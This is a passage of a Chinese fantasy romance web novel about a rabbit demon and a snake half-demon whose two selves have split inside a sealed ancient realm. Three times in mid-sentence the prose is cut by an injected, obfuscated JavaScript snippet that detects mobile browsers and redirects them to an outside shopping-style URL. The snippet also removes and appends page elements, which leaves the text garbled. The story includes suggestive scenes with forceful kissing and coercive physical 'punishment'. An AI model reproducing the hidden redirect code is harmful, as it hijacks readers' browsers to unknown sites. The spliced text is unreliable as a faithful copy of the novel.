就是嘛,这样的息尘怎么可能是阿裴,他念经时的唇好像也很好亲。 着了迷的兔子,裴息尘轻易辨出玉扶的想法,他于削肉拔鳞极端的痛与被背叛的愤懑中,疯狂出一个继续扮演的念头,遂她的意,然后在她动情的时候,告诉她诱错了妖。 随着最后一句经文的讲完,他绽出一抹掩藏着恶意的笑,问玉扶:“菩萨观欲,如吞钩之鱼,如抱薪赴火,亦如践刀锋之蜜......阿扶怎么看?” 玉扶下意识看了一眼闪着经文的墙体,确认没有这一句啊?听着还怪危险的,这是提醒她重欲不行吗? 可是:“我不是菩萨啊。” 玉扶道。 息尘心底啧叹一声,色欲熏心的色兔子,活该落到他手里。 “我答得不好吗?”玉扶忐忑,其实她答完就后悔了,这不显得她很没悟性,很没进益么。 可能怎么办呢,她就是这样想的啊,她才不是无悲无喜的菩萨,她是渡情期的妖,妖就是这样的。 她嘟了嘟嘴,委屈巴巴地拉了拉裴息尘的衣袖:“我已经很认真学了,我学的肚子都饿了,眼睛也红了,你不鼓励鼓励我,我会丧气的。” 她的意味已经很明显,显出的妖性,嘟起的唇,全在身体力行地要着鼓励,也提醒着息尘答应的话—— 忍不住了,要亲亲。 裴息尘几乎要压不住本性地想捏住她的唇,恶劣地嘲笑她。 但现在他扮演的是息尘,装模作样的伪佛子,必然要扭捏犹豫,最后大义凛然不情不愿同意她来亲他。 他硬生生忍住了本性的恶劣,做出为难的姿态。 少女的脸在他为难之际越凑越近。 亲上一刹,他吃惊地张唇,小兔双眼发亮地趁机而入。 她在亲他,也在吃他,舌勾着舌,灵息相渡,强者的修为无疑是最佳的奖励。 但当她贪心得神魂都想闯入时,裴息尘闭了识海,灵息尚且能伪装,识海中分裂的残缺,却也是他受伤的表现之一。 玉扶嫌他小气,生气咬了咬他的下唇。 然而,并没有被推开的纵容,令她并不想松开口,作怪地咬一咬,舔一舔,害羞的佛修就加重了呼吸,绷紧了身,大抵除去渡情期的影响,她本就是贪玩好色的兔子,像吃了酒一样,她亲得晕然快乐。 眼睫在她脸颊上虚虚颤动,她甚至没有发现住所闯入了一条小蛇,那小蛇被隔在不远处,豆豆眼中满是震惊和非礼勿视的无措,可看着自己的脸与少女动情的亲吻,又极具冲击美感的忘乎所以,那是他又非是他。 分割的意识,以一种直观的画面共享着感官。 阿扶,似乎并不用他担心。 阿裴,用挑衅的眼神乜他。 下一刻,阿裴衣袖摆动,一阵飓风掀过,不知费了多少力才出现的小蛇,被丢得没有十万八千里,也有几百上千里。 玉扶也被息尘挥袖的动作推开,眸色迷茫:“我好像听到什么飞出去的声音。” “息尘”似被玉扶亲懵了,苍白但因亲吻而洇红的面色,显出没听清玉扶说话的空白,甚至,他还在困窘地擦唇。 湿红的唇,华美面庞上唯一的艳色。 他不像疏离的金樽玉像了,像染上红尘的堕佛。 玉扶俨然忘记自己问了什么,盯着很不一样的“息尘”,识海里的神魂小兔又发出饿了的叫嚣,她嘟着唇,还想亲亲。 “阿扶,不可了。”裴息尘揣摩着息尘才有的道德,冷淡着慌张的声线拒绝。 玉扶更兴奋地往前蹭:“一下,就一下,好吗?” “我血脉进步了嘛,妖性管不住嘛。” “你都说忍不住了,可以寻你的。” 她耍赖式地撒娇,裴息尘发酸地在心里冷笑:色兔子,真是欠收拾。 可任心里多么咬牙切齿,面上还要摆出不为所动的正派神情建议:“阿扶,你可颂念心经。” 玉扶怨念地收回眼,心经心经,她又不是佛修! 许是她的目光太怨念,也或是裴息尘本就欲擒故纵,他退让似的叹息一声:“我与你说说话也可。” 玉扶忙不迭地点头,和息尘说话,总比背心经有趣。 她爬坐到一旁,调整了个舒服的姿势,托着脸看息尘,她喜欢这种从下往上瞧的位置,既可以避开他正派过头的直视,也可以瞧见他说话时,滑动的喉结,还有一看就很软很好亲的嘴唇。 最重要的是,这种角度,她可以慢慢地搭上他的膝,与他贴贴。 玉扶做好准备地问:“你要与我说什么呢?” 裴息尘略一低眼,便能将她整个人纳入眼底,色兔子真是对谁都一视同仁啊,以往便是这样说着话就爬到了他身上,现在对着“息尘”也又是这套路。 他控制着自己满是暴戾的内心,缓出柔和的眸色:“阿扶,你是怎么看待......我的?” 玉扶有点意外息尘竟会问这样交心的话题,他不呆瓜的时候,原来也是会聊天的嘛,几乎不假思索地道:“你心肠好,很厉害,还总帮我,我很喜欢你啊!” 她一派天然纯澈,尤其说至喜欢的时候,宛然生动,明亮至极,全然不知眼前人的阴暗与怒气。 怒极,面上却除笑意淡得快瞧不见外,倒是没有带出旁的情绪,裴息尘继续问玉扶:“阿扶不会觉得我......奇怪?毕竟......我体内......还有阿裴。” 说着,他落睫,遮了眼,面色苍白,语调也略带上了几分难以提及的困苦。 轻易地,玉扶被他偶然显出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644198|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脆弱揪起心,脑中几乎自己就补全了息尘反常的缘故,一定是阿裴又作怪了,息尘受到一些她看不到的伤害。 这完全就是阿裴能做出来的事。 她挺起身地摇头道:“息尘,我怎么会觉得你奇怪?” “你一点也不奇怪,你是我见过心肠最好的佛修。” “身体里还有一个人也不算什么,我听我师姐们说,很多修士修炼出了岔子的时候,也会觉得自己是另一个人。” “还有夺舍不成功,最后一体两魄的修士。”玉扶绞尽脑汁地想,恨不得连师姐谈论的话本例子也用上:“还有......还有专门炼分魂的魔修……” “反正,一点也不奇怪。” 她说得又认真又着急,裴息尘的心沉了又沉,能想出这么多例子,她还真是照顾息尘的心情,如果知道他并不是“他”,她还会这样诚恳急切吗? 裴息尘唇角扯了扯,接着问:“阿扶,那你是怎么看待阿裴的?” 这问题,玉扶反射性地心弦紧了紧,唇张了张,有些忸怩起来,她说了那么多例子,安慰息尘的同时,可不就是觉得阿裴的存在也不奇怪嘛。 可要说出来,又有了欺负老实人的嫌疑了。 她不能总仗着息尘的好心肠,就总掺带着提起阿裴吧,阿裴那么讨厌息尘,息尘也不见得就完全对阿裴没有变意见,不然怎么会突然与她聊这些话题呢? 裴息尘坐在她上方,满眼都是她低头躲避的纠结模样,一口浊气堵在胸腔之间,险些伪装不下去的躁怒,该死的兔子,他对她也不差了,竟然连提起都觉得为难。 眉目间一瞬敞放的压迫性,将他的脸从眉眼开始分割,一半凶狠,一半假面一样的淡然。 好在,玉扶坐得矮,只是虚虚掀眼,又很快低下头,并未见他充满侵犯感的目光,否则,她决计说不出话来。 就在裴息尘将要暴走边缘时,玉扶说:“阿裴,不是说过了吗?” “息尘你知道的啊。” 她面上一抹赧然的红,将问题重新抛回了眼前的“息尘”,眼中还若有若无着“说过的,你不记得了吗”的困惑。 说过吗?说过什么?色兔子同息尘说了什么他不知的话?能让她的脸出现这样的荡漾的红? 尤其是,同他有关? 裴息尘胸腔中一团气愤的火焰霎时熄了火,他开始好奇起,在他昏沉的最初两日里,她说了什么? 彼时,他虚弱,昔日之境情形也未明,他不得不暂放弃躯体的掌控,唯有那两日,他无知无感,失去了对他们相处的感知。 “嗯,我知道的。”他绷住口气,恍若真的知道一般,适时显出几分无措:“是我寻错了话题。” 玉扶恍然大悟,息尘原来是不知和她谈什么,才不小心问到阿裴,他真笨,一点也不会聊天,玉扶大发善心地决定将话题进行下去,她托着脸,慢慢瞧着外头显出的天色道:“阿裴就是坏蛋啊,脾气也不好。” “可是他对我挺好的,你们对我都好。” “是我出来后遇到的最好的......”玉扶颇有点难定义人还是妖,顿一会补全:“最好的半妖。” 说完,她也不等“息尘”什么反应,着急道:“天亮了,我要修炼了。” 倏地化为原形,跑出了屋内。 她毛茸茸的脸颊都在发烫,半妖什么的,可真是为难兔子,她的感情倾向,就是这样摇摆的嘛,她觉得谁都好啊,可每每吧,总是要在其中一个面前提及另一个,他们真是一点也不考虑,她也是有羞耻心的妖。 灵活的兔子,顷刻不见了身影。 到这会儿,裴息尘也略搞懂了,玉扶还不算没良心,还记得他的好,只是,也太三心二意了些。 他缓缓露出了一夜来最真的一笑,又坏又意味深长。 54. 第 54 章 翠叶陆离,朝露凝聚,缓缓从灌木中滴落。 一条小蛇窸窸窣窣地从灌木中钻出,满身都是青草泥土的气息,一滴露水从叶间砸落,砸得小蛇激灵一下,才惊觉不过是一滴水罢了。 甩甩头,豆豆眼辨着周遭的环境,半个时辰前,他被阿裴甩出,摔到一面石壁之上,许是这小蛇的身体本就是妖躯中最坚硬的蛇鳞所化,除了有点晕外,他并没有受到什么伤害。 只是将近天明的昔日之境,苏醒的兽类也不少,即便他们没开智,那也是同古妖同一时期的兽类,途中免不了被这些兽类驱赶,甚至被顶起来甩。 直到他跑入了现下的区域,那些活跃的兽类才不再靠近。 他也正能喘口气地想想接下来如何是好,一体生出的两个意识,阿裴霸道无比,生生将他挤出了躯体,甚至拒绝他的靠近。 可他们当真能分裂开吗? 自分开后,他心中一直有种惶恐,这种惶恐驱使着他一定要靠近阿裴,不能任由他胡闹下去。 他有种不好的预感,完全凭借妖性掌控的躯体,或会越发趋近古妖,而古妖又是为何建立的妖神学宫,不就是为了在继续获得强大力量的同时保持理智吗? 阿裴是否会失智? 息尘理智上不敢保证,可本能的直觉时时警惕着他,也催促着他,必须重新合为一体。 即便是靠近一些也好。 经过一夜的适应,他已能灵活地掌控着当下的小蛇躯体,他不断从灌木中穿过,欲先脱离圣山的范围,就在方才,他已经发现,竟然是误打误撞地闯入了圣山的范围。 他于草叶间隙中滑行着,堪要离开范围,遽然被无形的结界挡回。 冷静地用蛇首触碰试探,浑身发着要融入结界的灵光。 眼看要脱离,整个细长的蛇身却被无形气流当空捏起。 周遭草木模糊后退,移形换景似的,再出现,赫然是一个天然洞府,窸窣的摩挲,交尾绕着一个巨蛋盘缠的两条大蛇,一黑中带赤,一赤中带蓝,两个硕大脑袋正对着他。 古妖的威慑,将小蛇衬得无比渺小。 然,也就片刻的功夫,两条大蛇头撞头,尾缠尾,似乎起了争执。 女声:“好啊,妖始门道新入学宫的小辈中,或有我等流落的血脉,我本是不信,可这小蛇你如何解释?” 男声:“你我一同孵蛋,少说千年不曾离开,这不过一个年幼小蛇,如何赖上我?” 黑赤色的大蛇垂首,对着息尘喷出一口罡气:“小辈,你从何而来?” “前日窥探圣山的可也是你?” “当真是胡闹,竟连魂识都敢分裂。” “你家中长辈难道不曾告知你,我等古血大妖者,最忌失智,分裂魂识也不怕遭了反噬?” “速速归去,念你年幼,我不予你计较擅闯圣山。” 训斥告诫一句接着一句,当下就要将息尘小蛇重新甩出洞府,却被另一条大蛇拦下。 这条大蛇不与黑蛇争执时,明显更柔善许多,蛇身探来的流线都显出一股慈爱,她蛇舌如同闻气味一般仔细探过息尘小蛇。 蛇首半歪,倏而露出极为疑惑的神情,与其说这小蛇的气息血脉与他们相似,倒不如说是同被他们蛇尾盘缠在最中间的巨蛋更贴近。 越强大的妖想孕育子嗣本就艰难,何况是已为妖神的双圣,他们等了万年,方才等到一个孩子。 然,为父母者,尤不希望自己的孩子仍旧困囿于血脉的威胁。 故而,他们在孕育之时便操碎了心,最后决定提前诞下,再用漫长的岁月,最温和的灵息,一点点濯洗去孩子血脉中不安定的因素。 经过长久的灵力蕴养,只有巴掌大的蛋,如今已有丈高,蛋壳瓷白而透亮,几乎可见被清液包裹着的一条还未长成的小蛇。 大蛇看息尘小蛇一眼,又看蛋一眼,疑惑更甚。 息尘显然也注意到大蛇的视线,目光随之看去,共鸣般的震动于心扉荡开,血脉相连的感觉神奇地在此刻有了触动。 他似乎终于找寻到了只存在模糊记忆中,属于母亲的来处。 原来统一妖域的妖王当真出自妖神古墟。 即便他此时的母亲还并未被孵化,也可见的相似,一样的蛇鳞色彩,一样的血脉…… 这种相似,显然引起了双圣的怀疑,两条大蛇,几乎要将息尘看出花来。 许久,两条大蛇重新盘回巨蛋周身,黑蛇发出叹息:“原来如此。” “小辈,你我跨过时间相遇,想是定数。” “与我说说你的来意。” * 裴息尘对伪装成佛修欺骗一只兔子,没有半分羞愧。 他学着息尘的样子,揣带玉扶听课,某一刻,他失去了对护心鳞的感知,蓦然一空的心跳,令他朝看向圣山的方向—— 天幕灰濛,边缘暗黑,时间的流速快了不止一倍,上一刻,还满座的古妖,下一刻,身影全然虚淡,尊者授课之声逐渐轻到消失,空寂诡异得惊到了玉扶,她炸毛似的几步追赶,跟在往外走的息尘身边。 她看到那些消失的虚影重新出现,不正常地在虚实间闪动,甚至来来去去地几番从玉扶身边穿过,他们似乎不再能看到她与息尘? 昔日之境是在失序? 玉扶挪近息尘一步,紧张注视周遭的变化。 足有一盏茶的时间,那些古妖身影才重新凝实,一切好似恢复到原先的稳定。 但不久,时间再次加快,繁枝几经枯荣,玉扶眼睁睁看着昔日之境过去几十年。 他们就如此地的看客,参与不了,也什么都做不了,玉扶肯定,继续等待下去,她或许还能瞧见古妖覆灭的真正原因,但,她也不是特别好奇,她更在意,自己会不会被彻底困在过去的时间里。 甚至怀疑,突然的时间流速变化,是不是圣山在催促她快点努力。 可是,这是努力就能做到的事吗? 她蔫哒哒地拖在息尘身后,一次又一次纠结,最后下定决心地扯住息尘,鼓足了豁出去的勇气道:“去圣山吧,我可以试试。” 裴息尘眉峰下意识扬了扬,一戳就要漏气的兔子,竟真信了圣山传达的鬼话,也不怕自己先碎了? 他绽出温和的笑安抚:“阿扶,不急。” 至少在他蜕皮前,他并不准备离开,自被吸入此地,察觉这是何处时,他就已有此计划。 尤其,还经玉扶确认了他与此地的渊源,更是认定没有比这处更适合他变强的地方了,将息尘从体内赶出后,他沸腾的妖血无时无刻不在叫嚣着他可以更强大。 况且,经过观察,他留意到古妖口中除了常提及的学宫外,还有一个天妖盟的存在,天妖盟的理念完全同学宫相背,其认定是圣山和学宫的存在让妖在变弱,妖就该将天赐的血脉强悍到极致,用力量挑战妖血的威胁。 天妖盟崛起的时日不长,但拥趸者并不少,同学宫摩擦也日多。 几乎可想,古妖的覆灭逃不开两种观念的碰撞争斗。 但这也恰巧说明双圣会为护佑学宫离开圣山,届时,无论是击碎圣山的核心还是离开此处,都会容易不少。 他眯眼打量着天幕中荡漾开的波动,巴不得时间流动得再快一点才好。 玉扶的勇气被息尘一句“不急”戳漏了气,也学着他的模样看天,一波波荡开的灵力,像是有什么外力在企图闯入。 在他们进入此地之前,还有一堆被雪仙骗了的大妖,不会是他们在外头闯山吧? 裴息尘验证了玉扶的猜想:“他们进不来。” 一眼后,他毫不关心地行在不断跳动的过去时间中,那种邪气的不协调感再次令玉扶瑟瑟。 她实在不想将息尘往阿裴的方向猜想,鹌鹑似的将所有不对劲屏蔽。 直到屏蔽不了的时候—— 冰凉的触感灵活缠上她的手腕,有意闹醒地勾弄她手心,闹得玉扶无意识抽手,灵活的蛇尾才放过地绕向她的腰肢,拨开衣料滑入,她全身上下的肌肤软热得裴息尘发出舒服的喟叹。 玉扶从睡梦中惊醒,浑身都有些僵住,蛇尾卷过的鳞片剐蹭久久地停留在胸处,甚至还松一下紧一下地圈着她的软肉下缘,如同兜住一般地摩挲。 痒痒的,忽视不了的颤栗,她涨红了脸,睡意顷刻消散,她太知晓会这样作乱的是谁了,是阿裴醒了。 那他到底是个什么态度嘛,会小气地寻她清算吗? 尤在紧张地想着,促长的蛇尾尖尖作恶地从下缘向上触碰,玉扶装睡的眼睫猛地一颤,彷若过电的瑟缩从前胸一贯到头脑,她不受控地吟了一声,睁开了眼,正对上阿裴噙笑的坏蛋脸。 邪气的,不爽的,一看就像是要找人算账的坏模样。 有一瞬,玉扶想彻底晕过去才好。 但裴息尘显然并不想给她这个机会,他的蛇尾一滑而下,卷着她脚腕的内侧,慢条斯理地摩挲:“阿扶,你没有什么要同我说的?” 玉扶弱弱地缩了缩,轻咬着下唇,脑中不断想着该说什么,她不是没料到这种情况,还想了好多应对的办法,有撒娇耍赖的,也有干脆认错求饶的…… 可阿裴醒得未免太突然了些,她抖得间断的嗓音,最后只问出了:“阿裴,你的伤都养好了啊?” 一声轻笑拂过:“等到你现下才关心,到底是希望我好还是不好?” 玉扶拥着散开的衣襟坐起,立马表态:“当然是希望你好呀,我可想你了!” 说谎的兔子,要不是不久前他还装作息尘被她主动亲近过,那或还能有些信服力,他并不打算抛弃伪装,可一味地伪装,假意地拒绝,未免太便宜了三心二意的兔子。 他唇角绽出恶意的笑,开始与玉扶清算,他摩着玉扶漂亮的小脸,旖旎得有些过分的嗓调,吐出的话却是一点一点地在细数玉扶的背叛:“阿扶,你忘了我同你说的话,你让他碰你了......” 细数的同时,蛇尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650181|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一寸一寸地向上缠,惩罚式地收紧,腿肉满溢,刺激的官感下,他对玉扶做了最后的判定:“阿扶,你不乖。” “我要怎么罚你才好?” 几乎不容玉扶辩驳,在她张口一瞬,凶狠的亲吻侵下,近乎侵犯地,被裴息尘舌尖抵着亲,每当她舌头努力往外推,便会被强势地卷吮回去。 激烈的亲吻,玉扶被亲得头脑发昏,呼吸困难,呜呜呜的吞咽在交缠的唇齿啧啧声中根本得不到体谅,就在她怀疑要被亲晕过去的时候,阿裴松开了她。 他没有在笑,眼眸沉沉的,攫向她的视线直令人心里发虚。 玉扶喘息着,唇瓣都还在发酸,脑子空白得连思考都变得迟缓,甚至有一刹,她觉得她脑子空白得听力也出现了问题,不然怎么会听到阿裴主动给她台阶下呢? “阿扶,我可以不罚你。” 玉扶豁地抬眼,眸色迷茫极了,比她还妖的妖孽轻勾她的发:“但你要补偿我,还要适应我。” 玉扶一时没有反应。 裴息尘危险眯了眸:“怎么,尝过他的味道,就忘了要对我的适应?” 玉扶终于想起地摇头,她当然记得了,在出发妖神古墟之前,他们说好的适应,只是后来完全没了机会,然后醒来的就是息尘了。 再则,她也完全没料到来自阿裴的暴风雨会这样的轻拿轻放。 轻易得她都能想东想西了,她觉得阿裴说话太有歧义,她每次都是浅尝辄止,都没能品出二者的区别来,不就是亲亲再偷点灵息修炼嘛,顶多就是一个亲她亲得凶一点,一个要她主动一点,感觉都差不多,根本不值得比较。 不过,这种不满足的想法,玉扶自然不会说,甚至还有一点期待和兴奋,她一边看阿裴,一边向下摸了摸他的蛇尾:“这样适应吗?” 裴息尘:“嗯,再摸摸。” 缓和了的气氛,玉扶又开始装可怜地提要求:“那你能松一点吗?我腿被缠得痛了。” 灵活的蛇尾松开了缠绕,转而送到了玉扶的手中,不止是尾巴尖,尾巴往下的一大段,也沉甸甸地压在她手心。 身体力行地要她适应,要她抚摸。 蛇尾犹如阿裴的敏感地带一般,玉扶每抚过一次,蛇鳞下的筋骨仿如被刺激到,猛烈跳动,蛇鳞都舒爽得要绽开了似的颤动,隐隐的,玉扶好像发现了些阿裴的不同以往,他的尾巴似乎又长了一点,也更敏感,蛇皮下方像是还有一层鳞。 玉扶不禁问:“阿裴,你是要蜕皮了吗?” “嗯。”裴息尘没有隐瞒,但蛇尾却好似不满玉扶越发懈怠的抚摸,尾端从她的手中溜走,卷着腰地将她提起,跪坐至蛇腹之上。 玉扶“啊”地惊呼,欲撑坐起身,下一刻,却被重新压回手中的尾巴尖按下。 真的太怪异了,两股下的韧感让她身子发软,从腰绕向前的蛇尾尖就像绑着她似的。 每当阿裴的蛇尾蜷一下,她便会也跟着滑动一下,偏生他这样作怪了,还要用尾尖抽抽她,让她不要懈怠,赶紧摸。 玉扶怨念极了地抱着一截尾巴摸摸,她就知道阿裴根本没那么容易放过她。 这分明就是折磨。 她摸了好久,久到手心都被蛇鳞磨得发红,身体异样得更是发水一样泛滥,她低着眼,都不敢去看坏蛋了,他真的太妖了,她摸多久,他就喘了多久,面皮潮红,乌发蜷散,简直浪.得没边。 有一瞬,玉扶都怀疑,自己摸的真的是尾巴吗? 还是说,蜕皮期的蛇都这样? 玉扶不否认,她是有色心啦,可比较一下她和阿裴的下限,她还是当个鹌鹑的好。 总之,也不知道摸了多久,别说是适应,她连害怕的情绪都变得麻木了,接受力高得看蛇尾都能冒出“可以”二字。 玉扶不知道是怎么睡过去的,梦里都在想着摸尾巴,以至于当裴息尘真从她身上抽出蛇尾时,她还下意识地摸了摸。 长长的蛇尾,锐韧又不失美感,某一段甚至有一些晶亮的水液,他欣赏地发出笑。 说实话,临近蜕皮,玉扶的这种安抚无异隔靴搔痒,还比不上放出真正原形时,磨蹭石壁时有效,可玉扶带给他的感官刺激却是无可取代的,光是看着她灵动的神情,圈着他尾巴时的强烈大小差异,他整个妖躯内的血液都沸腾无比。 蛇尾轻拍了拍玉扶,白牙贴近,展出旖旎暧昧的笑:“睡吧,乖阿扶,明夜我会再来。” 犹如听到他的呢喃一般,玉扶再醒来时,脑中全是“会再来”几字。 沉沉的身子,就像是做了一个好累的梦,一时竟难以区分真实与否。 一连捏了好几个清洁的法决,才令脑子也清明不少,她都做好了一出门就与坏蛋碰面的准备,没想,对上的却是将衣襟都合到脖颈的息尘。 他站在树下,眉目间清光奕奕,如有春意浸入冰雪,圣洁和煦得让人凝望不住。 息尘?阿裴? 大大的问号占满了玉扶脑海。 55. 第 55 章 玉扶挪步上前,眸光细致无比地扫过息尘的眉眼。 “息尘”摸了摸脸,疑惑又温和地问:“我脸上是有什么吗?” 玉扶一下子就寻不到一点不协调了。 好像真的是息尘? 那夜里的是梦? 玉扶很快否定,她身上都还有被蛇尾卷过留下的红痕呢,阿裴必然是醒来过。 这种肯定,令玉扶垮了脸,头都开始痛了,联想到近来她总将二人看重叠了的怀疑,她想到了个最糟糕的可能,他们以后不会白天黑夜地不断切换吧? 或许,还会突然就换人了? 那真是要疯了。 她只是想双修,为什么难度一直在增大。 无边的悔意直想换个对象。 “息尘”眸中邪气的兴味一闪而逝,一本正经道:“阿扶,此方境域时间一直在加快,已不适合再去听课了。” 玉扶不在意地嗯嗯,心里还在想着,之后日日夜夜可能要遭受的折磨,只感到一阵阵的承受不住。 她好想跑啊。 “跑”字一经从脑海中闪过,她激灵得脊背挺了挺,继而又丧了下去,一则,要跑也得先破开了昔日之境;二则,就这样跑掉,好像怪可惜的。 想着,她又偷瞟了一眼息尘,长出头发的佛修秀颀若竹,气质静若湖,渺如圣。 唉,真的好难舍得啊。 她变来变去的容情,什么都写在脸上似的,明明白白的贪心,也明明白白的迷恋。 裴息尘心底不耻地笑了笑,面上却半点不显,盖因此刻,不管是她迷恋的哪一个,都是他。 完完整整的,也不存在什么被他摒弃的一部分人性。 他的感觉好极了,那种迫不及待变得更强的渴望又涌了上来,他并不觉得有什么不对,只是稍耐下了些性子与玉扶安排。 这处经圣山回溯的过去,最大的价值或就是经古妖之口传授的妖法,可跳动的时间,这些传授已然变得不完整,余下的,除去凭依圣山重现的洗血池和些许灵物灵植外,也就只有击败古妖,方有可能掉落一些古妖法器。 后者几率小,也不太现实,玉扶从圣山分享的画面中瞧到过,唯有死前依附法器的魂念,才会被圣山保留了下来,那她如今能薅到的也唯有再多泡泡洗血池,然后多吃一点有助修为的灵植。 白日里,息尘带她摘灵草解经文,夜里,出现的阿裴缠着她适应尾巴。 唯一的共同点,大概就是他们确实都在开始为离开做准备了。 * 一日夜里,玉扶难得没有被再要求适应尾巴,阿裴在泡洗血池,他驱走了玉扶,既要她不看他,又要她不能跑得太远。 奇怪但又有些合理的要求,她偷瞧见了,完全展出妖躯的阿裴,光是蛇尾就比她平日里瞧见的还要大了许多许多。 洗血池都难以盛下他的庞大身躯。 她一边拔着草,一边用耳朵留意着阿裴的动静,她不是笨蛋,阿裴扮作息尘,一日两日的她或许还会反复疑惑,可一直相处着,便处处是破绽。 但是吧,她不敢问,也不敢点明她已经发现了,因为,只要阿裴维持着白天黑夜的不同人设,她应付起来,就还有休息的时间。 至于真正的息尘,玉扶料想,应是轮到他睡觉了。 她长长叹一口气,拔出一株灵草咬入口中嚼嚼嚼,不期然地与一条小蛇对上了眼。 与此同时,脑中响起了一个好熟悉的声音:“阿扶,要小心阿裴。” 玉扶惊得左右看,看来看去唯有眼前的小蛇与她对眼,这一留心,便发现这小蛇除了小一点,蛇鳞就同阿裴的蛇尾一个模子刻出来的,漂亮的宝石色。 但因为太小,少了强悍的凶戾,多了几分可人的喜感,尤其是他的脑袋和眼睛,玉扶忍不住伸手碰了碰他的脑袋。 他从玉扶的手心蹭了出来:“阿扶,不要闹。” 这次,玉扶真的张圆了唇,这种口气,不会吧!! 空气有一刹的安静,玉扶失声地指了指小蛇,又指了指阿裴的方位。 小蛇点了点蛇首。 一蛇一兔一瞬默契地鬼祟了起来,玉扶好奇极了,手片刻不闲地戳戳摸摸小蛇:“息尘,你怎么会变成这样了?” 她声音很小,但要躲开她的手,以他如今的大小,实在很难,息尘放弃了地被玉扶捧了起来,以传音告诉玉扶:“阿裴暂将我剥离。” “我同双圣学习了一段时日。” 玉扶点头,亮晶晶的双眼却紧紧盯着小蛇嘶嘶吐舌。 好小,还分叉,同圆圆的脑袋一起瞧着,好呆啊。 完全就是息尘嘛。 显然的,她都没听进息尘的话,也没有在意他的警告,息尘欲再提醒玉扶,却下意识又嘶嘶几声。 即便已经这种摸样好些日子,但仍旧不习惯,他极想控制吐出的蛇信,可小蛇并不比真正的大妖躯体,几乎所有的嗅觉与味觉,都要靠蛇信来辅助收集传递。 又是几声嘶嘶,玉扶的指腹触上了他的蛇信,少女的芬芳混着灵草的清香直冲大脑。 晕乎得当他反应过来时,他的蛇信已经卷上了少女的指节。 玉扶好玩又惊奇地盯着,同样是蛇,庞大过了头,就会令人生惧,可小得迷你,那就是好多好多的喜欢。 作为一只兔子,她甚至生出了可以养一条漂亮蛇的冲动。 不过,卡在息尘又要教训她不要胡闹的界限上,玉扶收了玩闹,乖巧地听小蛇一本正经地说话,除却她控制不住跟着小蛇移动的眼神。 息尘已经在尽力控制嘶嘶与蛇首晃动频率的同时,试图与玉扶说清楚。 原来,自他暂与阿裴分离后,便无意闯入了圣山,还同双圣认了亲,他是双圣的后代无疑,而也正因他的出现,双圣意识到他们已经死去。 足以守护圣山存在的双圣,何尝不是昔日之境中循环的关键? 他们的意识影响了昔日之境,循环出现差错,时间的流速将更快地走向覆灭之时。 “不是外头的大妖们想闯进来的影响吗?”玉扶皱眉。 小蛇点了点蛇首:“也有这个原因。” “那我们是不是要快点离开?”玉扶语气带上了焦急,还不免担忧道:“可阿裴还在蜕皮。” 伴着几声嘶嘶,息尘提醒:“正是他在蜕皮才更危险。” “阿扶,你去寻圣山的核心吧,这里交给我。” 玉扶还是有很多的疑惑,如息尘为什么会被剥离?他们本就迥异,分开了不是好事吗?为什么息尘这样忧心忡忡?阿裴蜕皮会危险在哪里?因为他变大变厉害会给她造成威胁吗?还有双圣现在如何了?圣山的核心是可以接近了吗? …… 来不及更细致地问,下一刻,暴动了的阿裴身体力行地让玉扶知道了是什么危险。 他就是最大的危险! 整个洗血池都蒸腾了似的,方圆数十里弥上了雾气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666701|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,雾中大蛇时隐时现,好像发了狂,蛇尾拍倒石壁,铜铃大的竖瞳周围布满冰裂一样的红血丝,透过层层水雾望来,如同失智的野兽。 玉扶心跳都漏一拍地与之对望,只瞧见了凶煞与血腥,他—— 好像不认识她了? 息尘小蛇狠狠顶了玉扶一下:“阿扶,去寻圣山核心!” 顷刻,小蛇化作流光冲向浓雾中心。 玉扶惜命极了,在那一眼的震慑中回神,没有犹豫地跑离,双腿并不如原形跑得快,跑着跑着,她就化回了兔子形态,很远,仍旧听得地动山摇的吼声,她回望了一眼。 只见发了狂的大蛇,摇头摆脑,时与空气搏击,时又各种法光击在了自己身上,整片区域遍是尘嚣与怒吼。 疯了完全疯了! 玉扶一头扎入圣山,整个兔身遁入地下的同时,放出了许许多多的魂体小兔,四散开来寻着圣山核心所在。 寻找的过程并不容易,圣山是玉扶见过的唯一一座自己生出灵智的山,它够古老,也够复杂,山灵为媒,山体为载,这座山承载的情绪,多得玉扶放出的每一个魂体小兔都迷失了方向。 而属于圣山自己的那份灵智,掩藏在其中,虚弱且难以辨认。 玉扶不得不主动掐断了放出的魂体小兔,开始靠自己与圣山的微弱联系在山腹中寻找。 